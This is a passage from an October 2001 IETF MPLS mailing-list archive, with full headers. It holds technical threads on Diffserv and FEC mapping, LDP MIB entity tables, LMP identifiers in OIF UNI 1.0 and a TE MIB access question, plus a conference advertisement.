address, port, so on and so forth), then it is natural to say that all the
flows matching an FEC definition should get the same treatment. Then you
cannot differentiate a flow and a FEC IMHO.

Please correct me if i am wrong.

Warm Regards,
Malick

-----Original Message-----
From: owner-mpls@uu.net [mailto:owner-mpls@uu.net]On Behalf Of Mrugendra
Singhai
Sent: Monday, 15 October 2001 9:28 AM
To: mpls@uu.net
Subject: Re: MPLS Support of Diffserv


But you see this brings up an incompatibility in
integrating diffserv with MPLS.

An edge diffserv enabled LSR will map exp to phb based
solely on FEC. So all flows inside a FEC will get same
treatment inside a MPLS network i.e diffserv will not
be able to exist inside MPLS network and can only
exist outside MPLS network.

Pls correct me if i am wrong

Regards

Mrugendra
Research Assistant
NCSU
--- Scott Bradner <sob@harvard.edu> wrote:
> > I think what you are refering is DSCP(Can only be
> used
> > in behavior aggregate classifier), defined in RFC
> 2597
> > which i agree is surely 6 bits.
>
>
> which is all that difserv is
>
> and all that is seen in the network - and all that
> would be
> sen by a mpls router
>
> Scott


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com



From owner-mpls@UU.NET  Mon Oct 15 02:24:10 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA18807
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 02:24:10 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkur04209;
	Mon, 15 Oct 2001 06:22:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkur03483
	for mpls-outgoing; Mon, 15 Oct 2001 06:22:10 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkur03474
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 06:22:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkur02298
	for <mpls@uu.net>; Mon, 15 Oct 2001 06:20:54 GMT
Received: from web14708.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14708.mail.yahoo.com [216.136.224.125])
	id QQlkur14877
	for <mpls@uu.net>; Mon, 15 Oct 2001 06:20:45 GMT
Message-ID: <20011015062053.62740.qmail@web14708.mail.yahoo.com>
Received: from [152.1.162.49] by web14708.mail.yahoo.com via HTTP; Sun, 14 Oct 2001 23:20:53 PDT
Date: Sun, 14 Oct 2001 23:20:53 -0700 (PDT)
From: Mrugendra Singhai <mrugmpls@yahoo.com>
Subject: RE: MPLS Support of Diffserv
To: mpls@UU.NET
In-Reply-To: <NEBBILMNMIHKEBJNOLHEGEOBCAAA.abdulmk@future.futsoft.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

What I meant from edge diffserv LSR was the LSR which
will be generating Label Mapping Message in response
to a Label Request Message(your scenario talks about
it) i.e. i am refering to egress LSR for a FEC. That
egress LSR is suppose to generate a PHB mappings for
EXP received in Diffserv TLV based on FEC TLV that it
receives. And here the problem comes which i described
in my earlier mails.

Regards

Mrugendra


--- Abdul Malick <abdulmk@future.futsoft.com> wrote:
> 
> Hello Mrugendra,
> 
> When you talk about edge diffserv LSR i assume you
> are talking about the
> ingress LER.
> In this case it is this LER that is going to do the
> MF classification to
> find the PHB that a particular flow would be
> subjected to. There need not be
> a mapping from the EXP to PHB in this LER. Only in
> the subsequent LSRs and
> Egress LER would the mapping be required.
> 
> When you talk about FEC i assume that you talk about
> the (Destination
> address/prefix) only.But the MF classification is
> much more than that. So
> flows going to the same destination could be
> classified as different
> DiffServ Classes and could be mapped to different
> LSPs (L-LSP) or the same
> LSP(E-LSP) with different EXP values representing
> different PHBs.
> 
> If you did not mean destination address/prefix only
> as FEC(but also Src
> address, port, so on and so forth), then it is
> natural to say that all the
> flows matching an FEC definition should get the same
> treatment. Then you
> cannot differentiate a flow and a FEC IMHO.
> 
> Please correct me if i am wrong.
> 
> Warm Regards,
> Malick
> 
> -----Original Message-----
> From: owner-mpls@uu.net [mailto:owner-mpls@uu.net]On
> Behalf Of Mrugendra
> Singhai
> Sent: Monday, 15 October 2001 9:28 AM
> To: mpls@uu.net
> Subject: Re: MPLS Support of Diffserv
> 
> 
> But you see this brings up an incompatibility in
> integrating diffserv with MPLS.
> 
> An edge diffserv enabled LSR will map exp to phb
> based
> solely on FEC. So all flows inside a FEC will get
> same
> treatment inside a MPLS network i.e diffserv will
> not
> be able to exist inside MPLS network and can only
> exist outside MPLS network.
> 
> Pls correct me if i am wrong
> 
> Regards
> 
> Mrugendra
> Research Assistant
> NCSU
> --- Scott Bradner <sob@harvard.edu> wrote:
> > > I think what you are refering is DSCP(Can only
> be
> > used
> > > in behavior aggregate classifier), defined in
> RFC
> > 2597
> > > which i agree is surely 6 bits.
> >
> >
> > which is all that difserv is
> >
> > and all that is seen in the network - and all that
> > would be
> > sen by a mpls router
> >
> > Scott
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Make a great connection at Yahoo! Personals.
> http://personals.yahoo.com
> 


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Mon Oct 15 08:51:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26180
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 08:51:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkvr29631;
	Mon, 15 Oct 2001 12:50:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkvr28195
	for mpls-outgoing; Mon, 15 Oct 2001 12:50:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkvr28190
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 12:50:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkvr19419
	for <mpls@UU.NET>; Mon, 15 Oct 2001 12:49:44 GMT
Received: from smtp4.cluster.oleane.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp4.cluster.oleane.net [195.25.12.62])
	id QQlkvr28225
	for <mpls@UU.NET>; Mon, 15 Oct 2001 12:49:35 GMT
Received: from oleane (upper-side.rain.fr [194.250.212.114]) by smtp4.cluster.oleane.net with SMTP id f9FCng612634 for <mpls@UU.NET>; Mon, 15 Oct 2001 14:49:42 +0200 (CEST)
Message-ID: <024101c15577$9bde7080$0601a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <mpls@UU.NET>
Subject: MPLS World 2002: operators speak out
Date: Mon, 15 Oct 2001 14:47:54 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_023E_01C15588.5EF96380"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_023E_01C15588.5EF96380
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

MPLS World 2002: operators speak out

AT&T, Equant, Infonet, Terabeam, Storm Telecom, LambdaNet, Telefonica=85 =
Why have these operators chosen to implement MPLS? What type of VPN do =
they operate? What is the return on investment? How does the MPLS =
protocol fit into their existing architectures, especially ATM and Frame =
Relay? How do they regard the recent developments made to MPLS, =
especially GMPLS? What are the technical shortcomings.
=20
Answers will be given during MPLS World 2002.
=20
Get more details at:
http://www.upperside.fr/congress02/mplsworld2002.htm


------=_NextPart_000_023E_01C15588.5EF96380
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial>
<DIV><FONT size=3D2>MPLS World 2002: operators speak out</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>AT&amp;T, Equant, Infonet, Terabeam, Storm Telecom, =
LambdaNet,=20
Telefonica=85 Why have these operators chosen to implement MPLS? What =
type of VPN=20
do they operate? What is the return on investment? How does the MPLS =
protocol=20
fit into their existing architectures, especially ATM and Frame Relay? =
How do=20
they regard the recent developments made to MPLS, especially GMPLS? What =
are the=20
technical shortcomings.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Answers will be given during MPLS World =
2002.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Get more details at:<BR></FONT><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/congress02/mplsworld2002.htm">http://www.=
upperside.fr/congress02/mplsworld2002.htm</A></FONT></DIV>
<DIV>&nbsp;</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_023E_01C15588.5EF96380--



From owner-mpls@UU.NET  Mon Oct 15 09:42:13 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28320
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 09:42:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkvu10887;
	Mon, 15 Oct 2001 13:40:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkvu21330
	for mpls-outgoing; Mon, 15 Oct 2001 13:40:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkvu21325
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 13:40:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkvu19971
	for <mpls@uu.net>; Mon, 15 Oct 2001 13:39:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkvu07863
	for <mpls@uu.net>; Mon, 15 Oct 2001 13:38:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA06584 for <mpls@uu.net>; Mon, 15 Oct 2001 09:39:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA20505 for mpls@uu.net; Mon, 15 Oct 2001 09:39:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkvu21199
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 13:37:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkvu21474
	for <mpls@UU.NET>; Mon, 15 Oct 2001 13:33:03 GMT
Received: from hawk.CrescentNetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQlkvu26220
	for <mpls@UU.NET>; Mon, 15 Oct 2001 13:32:55 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id JAA25876;
	Mon, 15 Oct 2001 09:32:19 -0400 (EDT)
Message-ID: <3BCAE5D3.C870C3EE@crescentnetworks.com>
Date: Mon, 15 Oct 2001 09:34:11 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
CC: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@CrescentNetworks.com, jluciani@CrescentNetworks.com,
        hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <6B190B34070BD411ACA000B0D0214E56011B524D@newman.tenornet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



"Tiruveedhula, Kishore" wrote:
> 
> Hi Joan,
>       Thanks for your mail. Please see below for my doubt.
> > You need to have 2
> >distinct
> >mplsEntityLdpIds if the label space part is zero, then this means that
> >the LSR IDs need to be different.  Admittedly, this is unlikely (or at
> >least in my experience this is unlikely since I have typically seen the
> >LSR ID portion == the RouterId), but I suppose if someone wanted
> >to do this so that he/she could support both DOD and DU sessions where
> >each session is using per platform label space on the same router that
> >configuration would be an alternative.
> 
>      The entry in the entity table is indexed by both mplsEntityLdpIds and
> mplsLdpEntityIndex.
>        Can't we create two entries with same mplsEntityLdpIds with different
> mplsLdpEntityIndex in the Entity Table to support both DOD and DU sessions
> using per platform label space on a LSR with same LSR id ?
>  mplsLdpEntityIndex  is used to uniquely identify row in the
> mplsLdpEntityTable. I think we can have two or more entries with same
> mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?

This is not a viable solution to the problem --  you will still have
only
one LSRID and that implies that one session will be capable of both
DOD and DU which is not possible with LDP.

   Thanks, Joan

> 
> Thanks,
> Kishore
> 
> >  -Joan
> 
> >
> > Thanks,
> > Kishore
> >
> > >  -Joan
> >
> > >
> > >> Thanks,
> > >> Kishore
> > >
> > > -----Original Message-----
> > > From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
> > > Sent: Tuesday, October 09, 2001 5:59 PM
> > > To: Srinivas T M
> > > Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> > > jluciani@CrescentNetworks.com; hans@ipunplugged.com
> > > Subject: Re: mplsLdpEntityTable
> > >
> > > Srinivas T M wrote:
> > > >
> > > > Hi,
> > > >    Can anybody clarify my below question.
> > > >
> > > > How Interface Index relates to entry in the
> > > > mplsLdpEntityTable in case of per-platform label space
> > > > , generic label type and in case of LDP Identifier is
> > > > same for all interfaces ?
> > >
> > > The entity entry/row is the configuration for a potential
> > > session.  The Interface Index is in the label range tables
> > > and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> > > to tie the entity entry with a label range entry.
> > >
> > > In the case of the per-platform label space, this is also
> > > the situation.  I'm not sure if this answers the question
> > > you are asking though.
> > >
> > > >
> > > >  Can we use single entry in the entity table for
> > > > multiple interfaces? If it is like that, then what
> > > > happens if we change label Distribution Method or
> > > > LabelRetentionMode  or any field in the entity table,
> > > > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > > > telling how interface relates to entry in the entity
> > > > table.
> > >
> > > The front section of the MIB and the description for
> > > mplsLdpEntityAdminStatus does describe that it
> > > expects the user to administratively disable the entity
> > > (and thus take down the session -- meaning the session
> > > is removed) and then change whatever
> > > fields and then administratively enable the entity
> > > to create new session.
> > >
> > >   -Joan
> > >
> > > >
> > > >   MplsLdpEntityEntry ::= SEQUENCE {
> > > >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> > > >      mplsLdpEntityIndex        Unsigned32,
> > > >      mplsLdpEntityProtocolVersion  Integer32,
> > > >      mplsLdpEntityAdminStatus      INTEGER,
> > > >      mplsLdpEntityOperStatus       INTEGER,
> > > >      mplsLdpEntityTcpDscPort       Unsigned32,
> > > >      mplsLdpEntityUdpDscPort       Unsigned32,
> > > >      mplsLdpEntityMaxPduLength     Unsigned32,
> > > >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> > > >      mplsLdpEntityHelloHoldTimer      Integer32,
> > > >      mplsLdpEntityInitSesThreshold    Integer32,
> > > >      mplsLdpEntityLabelDistMethod     INTEGER,
> > > >      mplsLdpEntityLabelRetentionMode  INTEGER,
> > > >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> > > >      mplsLdpEntityPVL                 Integer32,
> > > >      mplsLdpEntityHopCountLimit       Integer32,
> > > >      mplsLdpEntityTargPeer            TruthValue,
> > > >      mplsLdpEntityTargPeerAddrType
> > > > adressFamilyNumbers,
> > > >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> > > >      mplsLdpEntityOptionalParameters
> > > > MplsLdpLabelTypes,
> > > >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> > > >      mplsLdpEntityStorType            StorageType,
> > > >      mplsLdpEntityRowStatus            RowStatus
> > > >      }
> > > >
> > > > Thanks in Advance,
> > > > Srini.
> > > >
> > > > __________________________________________________
> > > > Do You Yahoo!?
> > > > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> > > $8.95/month.
> > > > http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Mon Oct 15 09:46:39 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28576
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 09:46:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkvu00116;
	Mon, 15 Oct 2001 13:44:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkvu21533
	for mpls-outgoing; Mon, 15 Oct 2001 13:43:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkvu21520
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 13:43:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkvu03096
	for <mpls@uu.net>; Mon, 15 Oct 2001 13:42:29 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkvu15234
	for <mpls@uu.net>; Mon, 15 Oct 2001 13:42:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA06987 for <mpls@uu.net>; Mon, 15 Oct 2001 09:42:27 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA20673 for mpls@uu.net; Mon, 15 Oct 2001 09:42:27 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkvb23198
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 08:55:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkvb10136
	for <mpls@UU.NET>; Mon, 15 Oct 2001 08:55:25 GMT
Received: from voyager.colo.ibsystems.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [216.142.234.101])
	id QQlkvb23212
	for <mpls@UU.NET>; Mon, 15 Oct 2001 08:55:40 GMT
Received: from wookie (wookie.ibsystems.com [216.142.234.105])
	by voyager.colo.ibsystems.com (8.10.2/8.10.2) with SMTP id f9F8sS704501;
	Mon, 15 Oct 2001 01:54:28 -0700 (PDT)
MIME-Version: 1.0
Reply-To: nooreghazi@dacafe.com
Content-Type: MULTIPART/MIXED; BOUNDARY="mailspinner-v2.0b1-084d28"
Date: Mon, 15 Oct 2001 01:54:01 -0800
From: "Dipnarayan Guha" <nooreghazi@dacafe.com>
Message-Id: <1003136041.mailspinnerdV3.2.5.3@smtp.dacafe.com>
To: "S Ramesh" <rashanmu@npd.hcltech.com>, "CCAMP" <ccamp@ops.ietf.org>,
        "GMPLS" <gmpls-ops@mplsrc.com>
Cc: <mpls@UU.NET>
Subject: Re: LMP Procedure in UNI 1.0 - Doubts
Sender: owner-mpls@UU.NET
Precedence: bulk


--mailspinner-v2.0b1-084d28
Content-Type: text/plain; charset="us-ascii"

Hello Ramesh,

In-fibre signalling occurs when there exists a direct signalling between 
the client and transport network elements over transport links. In-fibre 
signalling means that the transport traffic and data traffic occurs 
through the same fibre. Remember that it is the control channel 
establishment across the neighbouring entities that is important. 
Corresponding to a particular control channel between two nodes, there 
can be one or more data channels of traffic transmission. Regarding the 
direct service invocation model, I guess what you mentioned is more of 
an implementation issue. However, IPCC is not the same as CCID, that you 
appear to mention. an IPCC is a control channel between two separate 
entities. CCID is just an indication of a particular control channel 
that is used for signalling controlling traffic between any two pair of 
nodes. It is NOT the physical control channel. Rather you may say that a 
corresponding IPCC may have one or more CCID's. For in-fibre signalling, 
it is important to realize that the control channel information is 
carried within the data traffic itself. Corresponding to a particular 
node, there may be several data links that are advertised as a single TE 
link and the resulting TE link associated with the advertising node is 
assigned a unique Interface ID. This is local to the node in question 
and is assigned to a port-to-port basis, i.e. an interface id is 
associated with the physical hardware port that is actually involved in 
data communications. Remember also that the CCID is assigned locally by 
the node for each IPCC configured. This CCID is locally unique to the 
node and may change under certain circumstances. But that does not mean 
that the IPCC has changed. Since in-fibre signalling is involved, the CC 
information must be carried within the data traffic itself. Hence, 
corresponding to the bundling of the data links to a TE link, there has 
to be a corresponding CCID that has to be associated with this TE link. 
In that case, the CCID must be equal to the corresponding interface id 
to maintain the one-to-one relationship between the outgoing TE link and 
the control channel information embedded in it. Corresponding to a pair 
of nodes, there can be different TE links, and if in-fibre signalling is 
present, there can be multiple instances of the above, but in each case, 
the CCID must be the same as the corresponding Interface ID. And what if 
the Interface ID changes? That means that the corresponding TE link's 
activity has changed over the pair of nodes in concern, and a different 
Interface ID has to be assigned by the initiating node. This can be done 
and then the CCID will again change (provided in-fibre signalling is 
present again), but the original CC that is already established will NOT 
change. The proxy UNI-N that you have mentioned might adopt a different 
stance when mapping the logical links to the actual transport network 
elements. It has to perform this duty of proper mapping between the said 
IDs and the corresponding links.

Remember that this is just an abstraction. The relationship is actually 
between the IDs and not the channels. 

Hope this helps. 

With warm regards, Ghazi

---------Included Message----------
>Date: Sun, 14 Oct 2001 12:39:53 -0700
>From: "S Ramesh" <rashanmu@npd.hcltech.com>
>Reply-To: "S Ramesh" <rashanmu@npd.hcltech.com>
>To: "CCAMP" <ccamp@ops.ietf.org>, "GMPLS" <gmpls-ops@mplsrc.com>
>Cc: <mpls@UU.NET>
>Subject: LMP Procedure in UNI 1.0 - Doubts
>
>Hi,
>
>I have some doubts in UNI 1.0 Whitepaper published by OIF.
>
>1. IN section 8.2 it is given the UNI neighbour discovery  mechanism is 
based on the LMP protocol mechanism. It is defined some three 
identifiers for LMP procedures NodeID,CCID, INterfaceID. For in-fiber 
case the CCID MUST be equal to the Interface ID. if this is the case 
then under direct service invocation model which supports In-fiber 
method, there exists a proxy UNI-N on the TNE side. So here the CCID 
cannot be the the same as the interface id because interface id is the 
port address for data transfer and the CCID is the  IP control channel 
which can be a seperate point to point link between the UNI-C and the 
proxy UNI-N. Then how comes the criteria
>
>CCID == Interface ID ( MUST in in-fiber case) can be satisfied.
>
>2. Also there is some confusion exists regarding the three IDs as i 
mentioned above. When Config messages are sent under IP encapsulation 
they use the destination address as the Node ID of the destination. So 
what is the interface ID. Can anybody kindly explain these three IDs 
with a specific scenario.
>
>Thanks,
>Ramesh
>
>
---------End of Included Message----------
_____________________________________________________________



--mailspinner-v2.0b1-084d28
Content-Type: TEXT/HTML; name="attach01"
Content-Transfer-Encoding: QUOTED-PRINTABLE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Hi,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I have some doubts in UNI 1.0 Whitepaper published by OIF.</DIV>
<DIV>&nbsp;</DIV>
<DIV>1. IN section 8.2 it is given the UNI neighbour discovery&nbsp; =
mechanism=20
is based on the LMP protocol mechanism. It is defined some three =
identifiers for=20
LMP procedures NodeID,CCID, INterfaceID. For in-fiber case the CCID MUST =
be=20
equal to the Interface ID. if this is the case then under direct service =

invocation model which supports In-fiber method, there exists a proxy =
UNI-N on=20
the TNE side. So here the CCID cannot be the the same as the interface =
id=20
because interface id&nbsp;is the port address for data transfer and the=20
CCID&nbsp;is the  IP control channel which can be a seperate point to =
point link=20
between the UNI-C and the proxy UNI-N. Then how comes the criteria</DIV>
<DIV>&nbsp;</DIV>
<DIV>CCID =3D=3D Interface ID ( <STRONG>MUST in in-fiber case</STRONG>) =
can be=20
satisfied.</DIV>
<DIV>&nbsp;</DIV>
<DIV>2. Also there is some confusion exists regarding the three IDs as i =

mentioned above. When Config messages are sent under IP encapsulation =
they use=20
the destination address as the Node ID of the destination. So what is =
the=20
interface ID. Can anybody kindly explain these three IDs with a specific =

scenario.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks,</DIV>
<DIV>Ramesh</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>


--mailspinner-v2.0b1-084d28--



From owner-mpls@UU.NET  Mon Oct 15 09:51:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28808
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 09:51:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkvv27439;
	Mon, 15 Oct 2001 13:48:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkvv22007
	for mpls-outgoing; Mon, 15 Oct 2001 13:48:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkvv22002
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 13:48:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkvv24052
	for <mpls@UU.NET>; Mon, 15 Oct 2001 13:47:50 GMT
Received: from huaweimail.in.huawei.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQlkvv26000
	for <mpls@UU.NET>; Mon, 15 Oct 2001 13:47:40 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZK93S3>; Mon, 15 Oct 2001 19:21:04 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C568701226D3E@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Doubt in draft-ietf-mpls-te-mib-07.txt MIB
Date: Mon, 15 Oct 2001 19:21:03 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15580.6E294DA0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15580.6E294DA0
Content-Type: text/plain;
	charset="iso-8859-1"


Hello 

 In the  draft-ietf-mpls-te-mib-07.txt tunnel table 
 the Local protection is defined as

mplsTunnelLocalProtectInUse  OBJECT-TYPE
   SYNTAX        TruthValue
   MAX-ACCESS    read-create
   STATUS        current
   DESCRIPTION
        "Indicates that the local repair mechanism is in use
          to maintain this tunnel (usually in the face of an
          outage of the link it was previously routed over)."
   ::= { mplsTunnelEntry 15 }

 Shouldn't this be read-only variable as the fast reroute is enabled only 
